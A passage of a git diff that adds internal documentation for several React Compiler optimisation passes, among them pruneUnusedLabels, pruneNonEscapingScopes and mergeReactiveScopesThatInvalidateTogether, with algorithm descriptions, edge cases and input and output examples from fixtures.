+- `label` - Schedule fallthrough, traverse inner block
+
+**Value Terminals (expressions that produce values):**
+- `ternary`, `logical`, `optional`, `sequence` - Produce `ReactiveValue` compound expressions
+
+**Break/Continue:**
+- `goto` with `GotoVariant.Break` - Determine if break is implicit, unlabeled, or labeled
+- `goto` with `GotoVariant.Continue` - Determine continue type
+
+**Scope Terminals:**
+- `scope`, `pruned-scope` - Schedule fallthrough, traverse inner block, emit as `ReactiveScopeBlock`
+
+## Key Data Structures
+
+### ReactiveFunction
+```typescript
+type ReactiveFunction = {
+  loc: SourceLocation;
+  id: ValidIdentifierName | null;
+  params: Array<Place | SpreadPattern>;
+  generator: boolean;
+  async: boolean;
+  body: ReactiveBlock;
+  env: Environment;
+  directives: Array<string>;
+};
+```
+
+### ReactiveBlock
+```typescript
+type ReactiveBlock = Array<ReactiveStatement>;
+```
+
+### ReactiveStatement
+```typescript
+type ReactiveStatement =
+  | ReactiveInstructionStatement   // {kind: 'instruction', instruction}
+  | ReactiveTerminalStatement      // {kind: 'terminal', terminal, label}
+  | ReactiveScopeBlock             // {kind: 'scope', scope, instructions}
+  | PrunedReactiveScopeBlock;      // {kind: 'pruned-scope', ...}
+```
+
+### ReactiveValue (for compound expressions)
+```typescript
+type ReactiveValue =
+  | InstructionValue               // Regular instruction values
+  | ReactiveLogicalValue           // a && b, a || b, a ?? b
+  | ReactiveSequenceValue          // (a, b, c)
+  | ReactiveTernaryValue           // a ? b : c
+  | ReactiveOptionalCallValue;     // a?.b()
+```
+
+### ControlFlowTarget
+```typescript
+type ControlFlowTarget =
+  | {type: 'if'; block: BlockId; id: number}
+  | {type: 'switch'; block: BlockId; id: number}
+  | {type: 'case'; block: BlockId; id: number}
+  | {type: 'loop'; block: BlockId; continueBlock: BlockId; ...};
+```
+
+## Edge Cases
+
+### Nested Control Flow
+The scheduling mechanism handles arbitrarily nested control flow by pushing/popping from the control flow stack.
+
+### Value Blocks with Complex Expressions
+`SequenceExpression` handles cases where value blocks contain multiple instructions.
+
+### Scope Fallthroughs
+Breaks to scope fallthroughs are treated as implicit (no explicit break needed).
+
+### Catch Handlers
+Scheduled specially via `scheduleCatchHandler()` to prevent re-emission.
+
+### Unreachable Blocks
+The `reachable()` check prevents emitting unreachable blocks.
+
+## TODOs
+The code contains several `CompilerError.throwTodo()` calls for unsupported patterns:
+1. Optional chaining test blocks must end in `branch`
+2. Logical expression test blocks must end in `branch`
+3. Support for value blocks within try/catch statements
+4. Support for labeled statements combined with value blocks
+
+## Example
+
+### Fixture: `ternary-expression.js`
+
+**Input:**
+```javascript
+function ternary(props) {
+  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);
+  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
+  return a ? b : null;
+}
+```
+
+**HIR (CFG with many basic blocks):**
+The HIR contains 33 basic blocks with `Ternary`, `Logical`, `Branch`, and `Goto` terminals, plus phi nodes at merge points.
+
+**ReactiveFunction Output (Tree):**
+```
+function ternary(props$62{reactive}) {
+  [1] $84 = Ternary
+    Sequence
+        [2] $66 = Logical
+          Sequence [...]
+          && Sequence [...]
+    ?
+      Sequence [...]  // props.c || props.d
+    :
+      Sequence [...]  // props.e ?? props.f
+  [40] StoreLocal a$99 = $98
+  ...
+  [82] return $145
+}
+```
+
+The transformation eliminates:
+- 33 basic blocks reduced to a single tree
+- Phi nodes replaced with nested `Ternary` and `Logical` value expressions
+- CFG edges replaced with tree nesting
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/22-pruneUnusedLabels.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/22-pruneUnusedLabels.md
new file mode 100644
index 000000000000..c7524ae54740
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/22-pruneUnusedLabels.md
@@ -0,0 +1,145 @@
+# pruneUnusedLabels
+
+## File
+`src/ReactiveScopes/PruneUnusedLabels.ts`
+
+## Purpose
+The `pruneUnusedLabels` pass optimizes control flow by:
+
+1. **Flattening labeled terminals** where the label is not reachable via a `break` or `continue` statement
+2. **Marking labels as implicit** for terminals where the label exists but is never targeted
+
+This pass removes unnecessary labeled blocks that were introduced during compilation but serve no control flow purpose in the final output. JavaScript labeled statements are only needed when there is a corresponding `break label` or `continue label` that targets them.
+
+## Input Invariants
+- The input is a `ReactiveFunction` (after conversion from HIR)
+- All `break` and `continue` terminals have:
+  - A `target` (BlockId) indicating which label they jump to
+  - A `targetKind` that is one of: `'implicit'`, `'labeled'`, or `'unlabeled'`
+- Each `ReactiveTerminalStatement` has an optional `label` field containing `id` and `implicit`
+- The pass runs after `assertWellFormedBreakTargets` which validates break/continue targets
+
+## Output Guarantees
+- Labeled terminals where the label is unreachable are flattened into their parent block
+- When flattening, trailing unlabeled `break` statements (that would just fall through) are removed
+- Labels that exist but are never targeted have their `implicit` flag set to `true`
+- Control flow semantics are preserved - only structurally unnecessary labels are removed
+
+## Algorithm
+
+The pass uses a two-phase approach with a single traversal:
+
+**Phase 1: Collect reachable labels**
+```typescript
+if ((terminal.kind === 'break' || terminal.kind === 'continue') &&
+    terminal.targetKind === 'labeled') {
+  state.add(terminal.target);  // Mark this label as reachable
+}
+```
+
+**Phase 2: Transform terminals**
+```typescript
+const isReachableLabel = stmt.label !== null && state.has(stmt.label.id);
+
+if (stmt.terminal.kind === 'label' && !isReachableLabel) {
+  // Flatten: extract block contents, removing trailing unlabeled break
+  const block = [...stmt.terminal.block];
+  const last = block.at(-1);
+  if (last?.kind === 'terminal' && last.terminal.kind === 'break' &&
+      last.terminal.target === null) {
+    block.pop();  // Remove trailing break
+  }
+  return {kind: 'replace-many', value: block};
+} else {
+  if (!isReachableLabel && stmt.label != null) {
+    stmt.label.implicit = true;  // Mark as implicit
+  }
+  return {kind: 'keep'};
+}
+```
+
+## Edge Cases
+
+### Trailing Break Removal
+When flattening a labeled block, if the last statement is an unlabeled break (`target === null`), it is removed since it would just fall through anyway.
+
+### Implicit vs Labeled Breaks
+Only breaks with `targetKind === 'labeled'` count toward label reachability. Implicit breaks (fallthrough) and unlabeled breaks don't make a label "used".
+
+### Continue Statements
+Both `break` and `continue` with labeled targets mark the label as reachable.
+
+### Non-Label Terminals with Labels
+Other terminal types (like `if`, `while`, `for`) can also have labels. If unreachable, these labels are marked implicit but the terminal is not flattened.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `unconditional-break-label.js`
+
+**Input:**
+```javascript
+function foo(a) {
+  let x = 0;
+  bar: {
+    x = 1;
+    break bar;
+  }
+  return a + x;
+}
+```
+
+**Output (after full compilation):**
+```javascript
+function foo(a) {
+  return a + 1;
+}
+```
+
+The labeled block `bar: { ... }` is removed because after the pass runs, constant propagation and dead code elimination further simplify the code.
+
+### Fixture: `conditional-break-labeled.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const a = [];
+  a.push(props.a);
+  label: {
+    if (props.b) {
+      break label;
+    }
+    a.push(props.c);
+  }
+  a.push(props.d);
+  return a;
+}
+```
+
+**Output:**
+```javascript
+function Component(props) {
+  const $ = _c(5);
+  let a;
+  if ($[0] !== props.a || $[1] !== props.b ||
+      $[2] !== props.c || $[3] !== props.d) {
+    a = [];
+    a.push(props.a);
+    bb0: {
+      if (props.b) {
+        break bb0;
+      }
+      a.push(props.c);
+    }
+    a.push(props.d);
+    // ... cache updates
+  } else {
+    a = $[4];
+  }
+  return a;
+}
+```
+
+The labeled block `bb0: { ... }` is preserved because the `break bb0` inside the conditional targets this label.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/23-pruneNonEscapingScopes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/23-pruneNonEscapingScopes.md
new file mode 100644
index 000000000000..ec2c10ea6706
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/23-pruneNonEscapingScopes.md
@@ -0,0 +1,130 @@
+# pruneNonEscapingScopes
+
+## File
+`src/ReactiveScopes/PruneNonEscapingScopes.ts`
+
+## Purpose
+This pass prunes (removes) reactive scopes whose outputs do not "escape" the component and therefore do not need to be memoized. A value "escapes" in two ways:
+
+1. **Returned from the function** - The value is directly returned or transitively aliased by a return value
+2. **Passed to a hook** - Any value passed as an argument to a hook may be stored by React internally (e.g., the closure passed to `useEffect`)
+
+The key insight is that values which never escape the component boundary can be safely recreated on each render without affecting the behavior of consumers.
+
+## Input Invariants
+- The input is a `ReactiveFunction` after scope blocks have been identified
+- Reactive scopes have been assigned to instructions
+- The pass runs after `BuildReactiveFunction` and `PruneUnusedLabels`, before `PruneNonReactiveDependencies`
+
+## Output Guarantees
+- **Scopes with non-escaping outputs are removed** - Their instructions are inlined back into the parent scope/function body
+- **Scopes with escaping outputs are retained** - Values that escape via return or hook arguments remain memoized
+- **Transitive dependencies of escaping scopes are preserved** - If an escaping scope depends on a non-escaping value, that value's scope is also retained to prevent unnecessary invalidation
+- **`FinishMemoize` instructions are marked `pruned=true`** - When a scope is pruned, the associated memoization instructions are flagged
+
+## Algorithm
+
+### Phase 1: Build the Dependency Graph
+Using `CollectDependenciesVisitor`, build:
+- **Identifier nodes** - Each node tracks memoization level, dependencies, scopes, and whether ultimately memoized
+- **Scope nodes** - Each scope tracks its dependencies
+- **Escaping values** - Identifiers that escape via return or hook arguments
+
+### Phase 2: Classify Memoization Levels
+Each instruction value is classified:
+- `Memoized`: Arrays, objects, function calls, `new` expressions - always potentially aliasing
+- `Conditional`: Conditional/logical expressions, property loads - memoized only if dependencies are memoized
+- `Unmemoized`: JSX elements (when `memoizeJsxElements` is false), DeclareLocal
+- `Never`: Primitives, LoadGlobal, binary/unary expressions - can be cheaply compared
+
+### Phase 3: Compute Memoized Identifiers
+`computeMemoizedIdentifiers()` performs a graph traversal starting from escaping values:
+- For each escaping value, recursively visit its dependencies
+- Mark values and their scopes based on memoization level
+- When marking a scope, force-memoize all its dependencies
+
+### Phase 4: Prune Scopes
+`PruneScopesTransform` visits each scope block:
+- If any scope output is in the memoized set, keep the scope
+- If no outputs are memoized, replace the scope block with its inlined instructions
+
+## Edge Cases
+
+### Interleaved Mutations
+```javascript
+const a = [props.a];  // independently memoizable, non-escaping
+const b = [];
+const c = {};
+c.a = a;              // c captures a, but c doesn't escape
+b.push(props.b);      // b escapes via return
+return b;
+```
+Here `a` does not directly escape, but it is a dependency of the scope containing `b`. The algorithm correctly identifies that `a`'s scope must be preserved.
+
+### Hook Arguments Escape
+Values passed to hooks are treated as escaping because hooks may store references internally.
+
+### JSX Special Handling
+JSX elements are marked as `Unmemoized` by default because React.memo() can handle dynamic memoization.
+
+### noAlias Functions
+If a function signature indicates `noAlias === true`, its arguments are not treated as escaping.
+
+### Reassignments
+When a scope reassigns a variable, the scope is added as a dependency of that variable.
+
+## TODOs
+None explicitly in the source file.
+
+## Example
+
+### Fixture: `escape-analysis-non-escaping-interleaved-allocating-dependency.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const a = [props.a];
+
+  const b = [];
+  const c = {};
+  c.a = a;
+  b.push(props.b);
+
+  return b;
+}
+```
+
+**Output:**
+```javascript
+function Component(props) {
+  const $ = _c(5);
+  let t0;
+  if ($[0] !== props.a) {
+    t0 = [props.a];
+    $[0] = props.a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const a = t0;  // a is memoized even though it doesn't escape directly
+
+  let b;
+  if ($[2] !== a || $[3] !== props.b) {
+    b = [];
+    const c = {};      // c is NOT memoized - it doesn't escape
+    c.a = a;
+    b.push(props.b);
+    $[2] = a;
+    $[3] = props.b;
+    $[4] = b;
+  } else {
+    b = $[4];
+  }
+  return b;
+}
+```
+
+Key observations:
+- `a` is memoized because it's a dependency of the scope containing `b`
+- `c` is not separately memoized because it doesn't escape
+- `b` is memoized because it's returned
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/24-pruneNonReactiveDependencies.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/24-pruneNonReactiveDependencies.md
new file mode 100644
index 000000000000..c0b524918a17
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/24-pruneNonReactiveDependencies.md
@@ -0,0 +1,138 @@
+# pruneNonReactiveDependencies
+
+## File
+`src/ReactiveScopes/PruneNonReactiveDependencies.ts`
+
+## Purpose
+This pass removes dependencies from reactive scopes that are guaranteed to be **non-reactive** (i.e., their values cannot change between renders). This optimization reduces unnecessary memoization invalidations by ensuring scopes only depend on values that can actually change.
+
+The pass complements `PropagateScopeDependencies`, which infers dependencies without considering reactivity. This subsequent pruning step filters out dependencies that are semantically constant.
+
+## Input Invariants
+- The function has been converted to a ReactiveFunction structure
+- `InferReactivePlaces` has annotated places with `{reactive: true}` where values can change
+- Each `ReactiveScopeBlock` has a `scope.dependencies` set populated by `PropagateScopeDependenciesHIR`
+- Type inference has run, so identifiers have type information for `isStableType` checks
+
+## Output Guarantees
+- **Non-reactive dependencies removed**: All dependencies in `scope.dependencies` are reactive after this pass
+- **Scope outputs marked reactive if needed**: If a scope has any reactive dependencies remaining, all its outputs are marked reactive
+- **Stable types remain non-reactive through property loads**: When loading properties from stable types (like `useReducer` dispatch functions), the result is not added to the reactive set
+
+## Algorithm
+
+### Phase 1: Collect Reactive Identifiers
+The `collectReactiveIdentifiers` helper builds the initial set of reactive identifiers by:
+1. Visiting all places in the ReactiveFunction
+2. Adding any place marked `{reactive: true}` to the set
+3. For pruned scopes, adding declarations that are not primitives and not stable ref types
+
+### Phase 2: Propagate Reactivity and Prune Dependencies
+The main `Visitor` class traverses the ReactiveFunction and:
+
+1. **For Instructions** - Propagates reactivity through data flow:
+   - `LoadLocal`: If source is reactive, mark the lvalue as reactive
+   - `StoreLocal`: If source value is reactive, mark both the local variable and lvalue as reactive
+   - `Destructure`: If source is reactive, mark all pattern operands as reactive (except stable types)
+   - `PropertyLoad`: If object is reactive AND result is not a stable type, mark result as reactive
+   - `ComputedLoad`: If object OR property is reactive, mark result as reactive
+
+2. **For Scopes** - Prunes non-reactive dependencies and propagates outputs:
+   - Delete each dependency from `scope.dependencies` if its identifier is not in the reactive set
+   - If any dependencies remain after pruning, mark all scope outputs as reactive
+
+### Key Insight: Stable Types
+The pass leverages `isStableType` to prevent reactivity from flowing through certain React-provided stable values:
+
+```typescript
+function isStableType(id: Identifier): boolean {
+  return (
+    isSetStateType(id) ||       // useState setter
+    isSetActionStateType(id) || // useActionState setter
+    isDispatcherType(id) ||     // useReducer dispatcher
+    isUseRefType(id) ||         // useRef result
+    isStartTransitionType(id) ||// useTransition startTransition
+    isSetOptimisticType(id)     // useOptimistic setter
+  );
+}
+```
+
+## Edge Cases
+
+### Unmemoized Values Spanning Hook Calls
+A value created before a hook call and mutated after cannot be memoized. However, if it's non-reactive, it still should not appear as a dependency of downstream scopes.
+
+### Stable Types from Reactive Containers
+When `useReducer` returns `[state, dispatch]`, `state` is reactive but `dispatch` is stable. The pass correctly handles this.
+
+### Pruned Scopes with Reactive Content
+The `CollectReactiveIdentifiers` pass also examines pruned scopes and adds their non-primitive, non-stable-ref declarations to the reactive set.
+
+### Transitive Reactivity Through Scopes
+When a scope retains at least one reactive dependency, ALL its outputs become reactive.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `unmemoized-nonreactive-dependency-is-pruned-as-dependency.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const x = [];
+  useNoAlias();
+  mutate(x);
+
+  return <div>{x}</div>;
+}
+```
+
+**Before PruneNonReactiveDependencies:**
+```
+scope @2 dependencies=[x$15_@0:TObject<BuiltInArray>] declarations=[$23_@2]
+```
+
+**After PruneNonReactiveDependencies:**
+```
+scope @2 dependencies=[] declarations=[$23_@2]
+```
+
+The dependency on `x` is removed because `x` is created locally and therefore non-reactive.
+
+### Fixture: `useReducer-returned-dispatcher-is-non-reactive.js`
+
+**Input:**
+```javascript
+function f() {
+  const [state, dispatch] = useReducer();
+
+  const onClick = () => {
+    dispatch();
+  };
+
+  return <div onClick={onClick} />;
+}
+```
+
+**Generated Code:**
+```javascript
+function f() {
+  const $ = _c(1);
+  const [, dispatch] = useReducer();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const onClick = () => {
+      dispatch();
+    };
+    t0 = <div onClick={onClick} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+```
+
+The `onClick` function only captures `dispatch`, which is a stable type. Therefore, `onClick` is non-reactive, and the JSX element can be memoized with zero dependencies.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/25-pruneUnusedScopes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/25-pruneUnusedScopes.md
new file mode 100644
index 000000000000..03ac3362ff36
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/25-pruneUnusedScopes.md
@@ -0,0 +1,111 @@
+# pruneUnusedScopes
+
+## File
+`src/ReactiveScopes/PruneUnusedScopes.ts`
+
+## Purpose
+This pass converts reactive scopes that have no meaningful outputs into "pruned scopes". A pruned scope is no longer memoized - its instructions are executed unconditionally on every render. This optimization removes unnecessary memoization overhead for scopes that don't produce values that need to be cached.
+
+## Input Invariants
+- The input is a `ReactiveFunction` that has already been transformed into reactive scope form
+- Scopes have been created and have `declarations`, `reassignments`, and potentially `earlyReturnValue` populated
+- The pass is called after:
+  - `pruneUnusedLabels` - cleans up unnecessary labels
+  - `pruneNonEscapingScopes` - removes scopes whose outputs don't escape
+  - `pruneNonReactiveDependencies` - removes non-reactive dependencies from scopes
+- Scopes may already be marked as pruned by earlier passes
+
+## Output Guarantees
+Scopes that meet ALL of the following criteria are converted to `pruned-scope`:
+- No return statement within the scope
+- No reassignments (`scope.reassignments.size === 0`)
+- Either no declarations (`scope.declarations.size === 0`), OR all declarations "bubbled up" from inner scopes
+
+Pruned scopes:
+- Keep their original scope metadata (for debugging/tracking)
+- Keep their instructions intact
+- Will be executed unconditionally during codegen (no memoization check)
+
+## Algorithm
+
+The pass uses the visitor pattern with `ReactiveFunctionTransform`:
+
+1. **State Tracking**: A `State` object tracks whether a return statement was encountered:
+   ```typescript
+   type State = {
+     hasReturnStatement: boolean;
+   };
+   ```
+
+2. **Terminal Visitor** (`visitTerminal`): Checks if any terminal is a `return` statement
+
+3. **Scope Transform** (`transformScope`): For each scope:
+   - Creates a fresh state for this scope
+   - Recursively visits the scope's contents
+   - Checks pruning criteria:
+     - `!scopeState.hasReturnStatement` - no early return
+     - `scope.reassignments.size === 0` - no reassignments
+     - `scope.declarations.size === 0` OR `!hasOwnDeclaration(scopeBlock)` - no outputs
+
+4. **hasOwnDeclaration Helper**: Determines if a scope has "own" declarations vs declarations propagated from nested scopes
+
+## Edge Cases
+
+### Return Statements
+Scopes containing return statements are preserved because early returns need memoization to avoid re-executing the return check on every render.
+
+### Bubbled-Up Declarations
+When nested scopes are flattened or merged, their declarations may be propagated to parent scopes. The `hasOwnDeclaration` check ensures that parent scopes with only inherited declarations can still be pruned.
+
+### Reassignments
+Scopes with reassignments are kept because the reassignment represents a side effect that needs to be tracked for memoization.
+
+### Already-Pruned Scopes
+The pass operates on `ReactiveScopeBlock` (kind: 'scope'), not `PrunedReactiveScopeBlock`. Scopes already pruned by earlier passes are not revisited.
+
+### Interaction with Subsequent Passes
+The `MergeReactiveScopesThatInvalidateTogether` pass explicitly handles pruned scopes - it does not merge across them.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `prune-scopes-whose-deps-invalidate-array.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const x = [];
+  useHook();
+  x.push(props.value);
+  const y = [x];
+  return [y];
+}
+```
+
+What happens:
+- The scope for `x` cannot be memoized because `useHook()` is called inside it
+- `FlattenScopesWithHooksOrUseHIR` marks scope @0 as `pruned-scope`
+- `PruneUnusedScopes` doesn't change it further since it's already pruned
+
+**Output (no memoization for x):**
+```javascript
+function Component(props) {
+  const x = [];
+  useHook();
+  x.push(props.value);
+  const y = [x];
+  return [y];
+}
+```
+
+### Key Insight
+
+The `pruneUnusedScopes` pass is part of a multi-pass pruning strategy:
+1. `FlattenScopesWithHooksOrUseHIR` - Prunes scopes that contain hook/use calls
+2. `pruneNonEscapingScopes` - Prunes scopes whose outputs don't escape
+3. `pruneNonReactiveDependencies` - Removes non-reactive dependencies
+4. **`pruneUnusedScopes`** - Prunes scopes with no remaining outputs
+
+This pass acts as a cleanup for scopes that became "empty" after previous pruning passes removed their outputs.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/26-mergeReactiveScopesThatInvalidateTogether.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/26-mergeReactiveScopesThatInvalidateTogether.md
new file mode 100644
index 000000000000..4ed964116bb2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/26-mergeReactiveScopesThatInvalidateTogether.md
@@ -0,0 +1,213 @@
+# mergeReactiveScopesThatInvalidateTogether
+
+## File
+`src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts`
+
+## Purpose
+This pass is an optimization that reduces memoization overhead in the compiled output by merging reactive scopes that will always invalidate together. The pass operates on the ReactiveFunction representation and works in two main scenarios:
+
+1. **Consecutive Scopes**: When two scopes appear sequentially in the same reactive block with identical dependencies (or where the output of the first scope is the sole input to the second), they are merged into a single scope. This reduces the number of memo cache slots used and eliminates redundant dependency comparisons.
+
+2. **Nested Scopes**: When an inner scope has the same dependencies as its parent scope, the inner scope is flattened into the parent. Since PropagateScopeDependencies propagates dependencies upward, nested scopes can only have equal or fewer dependencies than their parents, never more. When they're equal, the inner scope always invalidates with the parent, making it safe and beneficial to flatten.
+
+## Input Invariants
+- The ReactiveFunction has already undergone scope dependency propagation (via `PropagateScopeDependencies`)
+- The function has been pruned of unused scopes (via `pruneNonReactiveDependencies` and `pruneUnusedScopes`)
+- Scopes have valid `dependencies`, `declarations`, `range`, and `reassignments` fields
+- The ReactiveFunction is in a valid structural state with properly formed blocks and instructions
+
+## Output Guarantees
+- **Fewer scopes**: Consecutive and nested scopes with identical dependencies are merged
+- **Valid scope ranges**: Merged scopes have their `range.end` updated to cover all merged instructions
+- **Updated declarations**: Scope declarations are updated to remove any that are no longer used after the merged scope
+- **Merged scope tracking**: The `scope.merged` set tracks which scope IDs were merged into each surviving scope
+- **Preserved semantics**: Only safe-to-memoize intermediate instructions are absorbed into merged scopes
+
+## Algorithm
+
+The pass operates in multiple phases:
+
+### Phase 1: Find Last Usage
+A visitor (`FindLastUsageVisitor`) collects the last usage instruction ID for each declaration:
+
+```typescript
+class FindLastUsageVisitor extends ReactiveFunctionVisitor<void> {
+  lastUsage: Map<DeclarationId, InstructionId> = new Map();
+
+  override visitPlace(id: InstructionId, place: Place, _state: void): void {
+    const previousUsage = this.lastUsage.get(place.identifier.declarationId);
+    const lastUsage =
+      previousUsage !== undefined
+        ? makeInstructionId(Math.max(previousUsage, id))
+        : id;
+    this.lastUsage.set(place.identifier.declarationId, lastUsage);
+  }
+}
+```
+
+### Phase 2: Transform (Nested Scope Flattening)
+The `transformScope` method flattens nested scopes with identical dependencies:
+
+```typescript
+override transformScope(
+  scopeBlock: ReactiveScopeBlock,
+  state: ReactiveScopeDependencies | null,
+): Transformed<ReactiveStatement> {
+  this.visitScope(scopeBlock, scopeBlock.scope.dependencies);
+  if (
+    state !== null &&
+    areEqualDependencies(state, scopeBlock.scope.dependencies)
+  ) {
+    return {kind: 'replace-many', value: scopeBlock.instructions};
+  } else {
+    return {kind: 'keep'};
+  }
+}
+```
+
+### Phase 3: Visit Block (Consecutive Scope Merging)
+Within `visitBlock`, the pass:
+1. First traverses nested blocks recursively
+2. Iterates through instructions, tracking merge candidates
+3. Determines if consecutive scopes can merge based on:
+   - Identical dependencies, OR
+   - Output of first scope is input to second scope (with always-invalidating types)
+4. Collects intermediate lvalues and ensures they're only used by the next scope
+5. Merges eligible scopes by combining instructions and updating range/declarations
+
+### Key Merging Conditions (`canMergeScopes`):
+```typescript
+function canMergeScopes(
+  current: ReactiveScopeBlock,
+  next: ReactiveScopeBlock,
+  temporaries: Map<DeclarationId, DeclarationId>,
+): boolean {
+  // Don't merge scopes with reassignments
+  if (current.scope.reassignments.size !== 0 || next.scope.reassignments.size !== 0) {
+    return false;
+  }
+  // Merge scopes whose dependencies are identical
+  if (areEqualDependencies(current.scope.dependencies, next.scope.dependencies)) {
+    return true;
+  }
+  // Merge scopes where outputs of previous are inputs of next
+  // (with always-invalidating type check)
+  // ...
+}
+```
+
+### Always-Invalidating Types:
+```typescript
+export function isAlwaysInvalidatingType(type: Type): boolean {
+  switch (type.kind) {
+    case 'Object': {
+      switch (type.shapeId) {
+        case BuiltInArrayId:
+        case BuiltInObjectId:
+        case BuiltInFunctionId:
+        case BuiltInJsxId: {
+          return true;
+        }
+      }
+      break;
+    }
+    case 'Function': {
+      return true;
+    }
+  }
+  return false;
+}
+```
+
+## Edge Cases
+
+### Terminals
+The pass does not merge across terminals (control flow boundaries).
+
+### Pruned Scopes
+Merging stops at pruned scopes.
+
+### Reassignments
+Scopes containing reassignments cannot be merged (side-effect ordering concerns).
+
+### Intermediate Reassignments
+Non-const StoreLocal instructions between scopes prevent merging.
+
+### Safe Intermediate Instructions
+Only certain instruction types are allowed between merged scopes: `BinaryExpression`, `ComputedLoad`, `JSXText`, `LoadGlobal`, `LoadLocal`, `Primitive`, `PropertyLoad`, `TemplateLiteral`, `UnaryExpression`, and const `StoreLocal`.
+
+### Lvalue Usage
+Intermediate values must be last-used at or before the next scope to allow merging.
+
+### Non-Invalidating Outputs
+If a scope's output may not change when inputs change (e.g., `foo(x) { return x < 10 }` returns same boolean for different x values), that scope cannot be a merge candidate for subsequent scopes.
+
+## TODOs
+```typescript
+/*
+ * TODO LeaveSSA: use IdentifierId for more precise tracking
+ * Using DeclarationId is necessary for compatible output but produces suboptimal results
+ * in cases where a scope defines a variable, but that version is never read and always
+ * overwritten later.
+ * see reassignment-separate-scopes.js for example
+ */
+lastUsage: Map<DeclarationId, InstructionId> = new Map();
+```
+
+## Example
+
+### Fixture: `merge-consecutive-scopes-deps-subset-of-decls.js`
+
+**Input:**
+```javascript
+import {useState} from 'react';
+
+function Component() {
+  const [count, setCount] = useState(0);
+  return (
+    <div>
+      <button onClick={() => setCount(count - 1)}>Decrement</button>
+      <button onClick={() => setCount(count + 1)}>Increment</button>
+    </div>
+  );
+}
+```
+
+**After MergeReactiveScopesThatInvalidateTogether** (from `yarn snap -p merge-consecutive-scopes-deps-subset-of-decls.js -d`):
+```
+scope @1 [7:24] dependencies=[count$32:TPrimitive] declarations=[$51_@5] reassignments=[] {
+  [8] $35_@1 = Function @context[setCount$33, count$32]  // decrement callback
+  [10] $41 = JSXText "Decrement"
+  [12] $42_@2 = JSX <button onClick={$35_@1}>{$41}</button>
+  [15] $43_@3 = Function @context[setCount$33, count$32]  // increment callback
+  [17] $49 = JSXText "Increment"
+  [19] $50_@4 = JSX <button onClick={$43_@3}>{$49}</button>
+  [22] $51_@5 = JSX <div>{$42_@2}{$50_@4}</div>
+}
+```
+
+All scopes are merged because they share `count` as a dependency. Without merging, this would have separate scopes for each callback and button element.
+
+**Generated Code:**
+```javascript
+function Component() {
+  const $ = _c(2);
+  const [count, setCount] = useState(0);
+  let t0;
+  if ($[0] !== count) {
+    t0 = (
+      <div>
+        <button onClick={() => setCount(count - 1)}>Decrement</button>
+        <button onClick={() => setCount(count + 1)}>Increment</button>
+      </div>
+    );
+    $[0] = count;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+```
+
+The merged version uses only 2 cache slots instead of potentially 6-8.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/27-pruneAlwaysInvalidatingScopes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/27-pruneAlwaysInvalidatingScopes.md
new file mode 100644
index 000000000000..38bbc0de313e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/27-pruneAlwaysInvalidatingScopes.md
@@ -0,0 +1,143 @@
+# pruneAlwaysInvalidatingScopes
+
+## File
+`src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts`
+
+## Purpose
+This pass identifies and prunes reactive scopes whose dependencies will *always* invalidate on every render, making memoization pointless. Specifically, it tracks values that are guaranteed to be new allocations (arrays, objects, JSX, new expressions) and checks if those values are used outside of any memoization scope. When a downstream scope depends on such an unmemoized always-invalidating value, the scope is pruned because it would re-execute on every render anyway.
+
+The optimization avoids wasted comparisons in the generated code. Without this pass, the compiler would emit dependency checks for scopes that will never cache-hit, adding runtime overhead with no benefit. By converting these scopes to `pruned-scope` nodes, the codegen emits the instructions inline without memoization guards.
+
+## Input Invariants
+- The pass expects a `ReactiveFunction` with scopes already formed
+- Scopes should have their `dependencies` populated with the identifiers they depend on
+- The pass runs after `MergeReactiveScopesThatInvalidateTogether`
+- Hook calls have already caused scope flattening via `FlattenScopesWithHooksOrUseHIR`
+
+## Output Guarantees
+- Scopes that depend on unmemoized always-invalidating values are converted to `pruned-scope` nodes
+- The `unmemoizedValues` set correctly propagates through `StoreLocal`/`LoadLocal` instructions
+- All declarations and reassignments within pruned scopes that are themselves always-invalidating are added to `unmemoizedValues`, enabling cascading pruning of downstream scopes
+
+## Algorithm
+
+The pass uses a `ReactiveFunctionTransform` visitor with two key methods:
+
+### 1. `transformInstruction` - Tracks always-invalidating values:
+
+```typescript
+switch (value.kind) {
+  case 'ArrayExpression':
+  case 'ObjectExpression':
+  case 'JsxExpression':
+  case 'JsxFragment':
+  case 'NewExpression': {
+    if (lvalue !== null) {
+      this.alwaysInvalidatingValues.add(lvalue.identifier);
+      if (!withinScope) {
+        this.unmemoizedValues.add(lvalue.identifier);  // Key: only if outside a scope
+      }
+    }
+    break;
+  }
